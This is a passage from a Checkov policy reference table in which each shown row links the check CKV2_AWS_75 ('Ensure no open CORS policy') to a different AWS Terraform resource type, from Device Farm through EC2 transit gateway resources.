2552 | CKV2_AWS_75 | resource | aws_devicefarm_network_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2553 | CKV2_AWS_75 | resource | aws_devicefarm_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2554 | CKV2_AWS_75 | resource | aws_devicefarm_test_grid_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2555 | CKV2_AWS_75 | resource | aws_devicefarm_upload | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2556 | CKV2_AWS_75 | resource | aws_devopsguru_event_sources_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2557 | CKV2_AWS_75 | resource | aws_devopsguru_notification_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2558 | CKV2_AWS_75 | resource | aws_devopsguru_resource_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2559 | CKV2_AWS_75 | resource | aws_devopsguru_service_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2560 | CKV2_AWS_75 | resource | aws_directory_service_conditional_forwarder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2561 | CKV2_AWS_75 | resource | aws_directory_service_directory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2562 | CKV2_AWS_75 | resource | aws_directory_service_log_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2563 | CKV2_AWS_75 | resource | aws_directory_service_radius_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2564 | CKV2_AWS_75 | resource | aws_directory_service_region | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2565 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2566 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2567 | CKV2_AWS_75 | resource | aws_directory_service_trust | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2568 | CKV2_AWS_75 | resource | aws_dlm_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2569 | CKV2_AWS_75 | resource | aws_dms_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2570 | CKV2_AWS_75 | resource | aws_dms_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2571 | CKV2_AWS_75 | resource | aws_dms_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2572 | CKV2_AWS_75 | resource | aws_dms_replication_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2573 | CKV2_AWS_75 | resource | aws_dms_replication_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2574 | CKV2_AWS_75 | resource | aws_dms_replication_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2575 | CKV2_AWS_75 | resource | aws_dms_replication_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2576 | CKV2_AWS_75 | resource | aws_dms_s3_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2577 | CKV2_AWS_75 | resource | aws_docdb_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2578 | CKV2_AWS_75 | resource | aws_docdb_cluster_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2579 | CKV2_AWS_75 | resource | aws_docdb_cluster_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2580 | CKV2_AWS_75 | resource | aws_docdb_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2581 | CKV2_AWS_75 | resource | aws_docdb_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2582 | CKV2_AWS_75 | resource | aws_docdb_global_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2583 | CKV2_AWS_75 | resource | aws_docdb_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2584 | CKV2_AWS_75 | resource | aws_docdbelastic_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2585 | CKV2_AWS_75 | resource | aws_drs_replication_configuration_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2586 | CKV2_AWS_75 | resource | aws_dx_bgp_peer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2587 | CKV2_AWS_75 | resource | aws_dx_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2588 | CKV2_AWS_75 | resource | aws_dx_connection_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2589 | CKV2_AWS_75 | resource | aws_dx_connection_confirmation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2590 | CKV2_AWS_75 | resource | aws_dx_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2591 | CKV2_AWS_75 | resource | aws_dx_gateway_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2592 | CKV2_AWS_75 | resource | aws_dx_gateway_association_proposal | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2593 | CKV2_AWS_75 | resource | aws_dx_hosted_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2594 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2595 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2596 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2597 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2598 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2599 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2600 | CKV2_AWS_75 | resource | aws_dx_lag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2601 | CKV2_AWS_75 | resource | aws_dx_macsec_key_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2602 | CKV2_AWS_75 | resource | aws_dx_private_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2603 | CKV2_AWS_75 | resource | aws_dx_public_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2604 | CKV2_AWS_75 | resource | aws_dx_transit_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2605 | CKV2_AWS_75 | resource | aws_dynamodb_contributor_insights | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2606 | CKV2_AWS_75 | resource | aws_dynamodb_global_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2607 | CKV2_AWS_75 | resource | aws_dynamodb_kinesis_streaming_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2608 | CKV2_AWS_75 | resource | aws_dynamodb_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2609 | CKV2_AWS_75 | resource | aws_dynamodb_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2610 | CKV2_AWS_75 | resource | aws_dynamodb_table_export | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2611 | CKV2_AWS_75 | resource | aws_dynamodb_table_item | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2612 | CKV2_AWS_75 | resource | aws_dynamodb_table_replica | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2613 | CKV2_AWS_75 | resource | aws_dynamodb_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2614 | CKV2_AWS_75 | resource | aws_ebs_default_kms_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2615 | CKV2_AWS_75 | resource | aws_ebs_encryption_by_default | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2616 | CKV2_AWS_75 | resource | aws_ebs_fast_snapshot_restore | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2617 | CKV2_AWS_75 | resource | aws_ebs_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2618 | CKV2_AWS_75 | resource | aws_ebs_snapshot_block_public_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2619 | CKV2_AWS_75 | resource | aws_ebs_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2620 | CKV2_AWS_75 | resource | aws_ebs_snapshot_import | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2621 | CKV2_AWS_75 | resource | aws_ebs_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2622 | CKV2_AWS_75 | resource | aws_ec2_availability_zone_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2623 | CKV2_AWS_75 | resource | aws_ec2_capacity_block_reservation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2624 | CKV2_AWS_75 | resource | aws_ec2_capacity_reservation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2625 | CKV2_AWS_75 | resource | aws_ec2_carrier_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2626 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_authorization_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2627 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2628 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_network_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2629 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2630 | CKV2_AWS_75 | resource | aws_ec2_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2631 | CKV2_AWS_75 | resource | aws_ec2_host | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2632 | CKV2_AWS_75 | resource | aws_ec2_image_block_public_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2633 | CKV2_AWS_75 | resource | aws_ec2_instance_connect_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2634 | CKV2_AWS_75 | resource | aws_ec2_instance_metadata_defaults | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2635 | CKV2_AWS_75 | resource | aws_ec2_instance_state | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2636 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2637 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route_table_vpc_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2638 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2639 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list_entry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2640 | CKV2_AWS_75 | resource | aws_ec2_network_insights_analysis | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2641 | CKV2_AWS_75 | resource | aws_ec2_network_insights_path | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2642 | CKV2_AWS_75 | resource | aws_ec2_serial_console_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2643 | CKV2_AWS_75 | resource | aws_ec2_subnet_cidr_reservation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2644 | CKV2_AWS_75 | resource | aws_ec2_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2645 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2646 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2647 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_session | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2648 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2649 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2650 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2651 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect_peer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2652 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2653 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_propagation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2654 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2655 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2656 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2657 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2658 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2659 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2660 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2661 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table_association | Ensure no open CORS policy | Terraform | 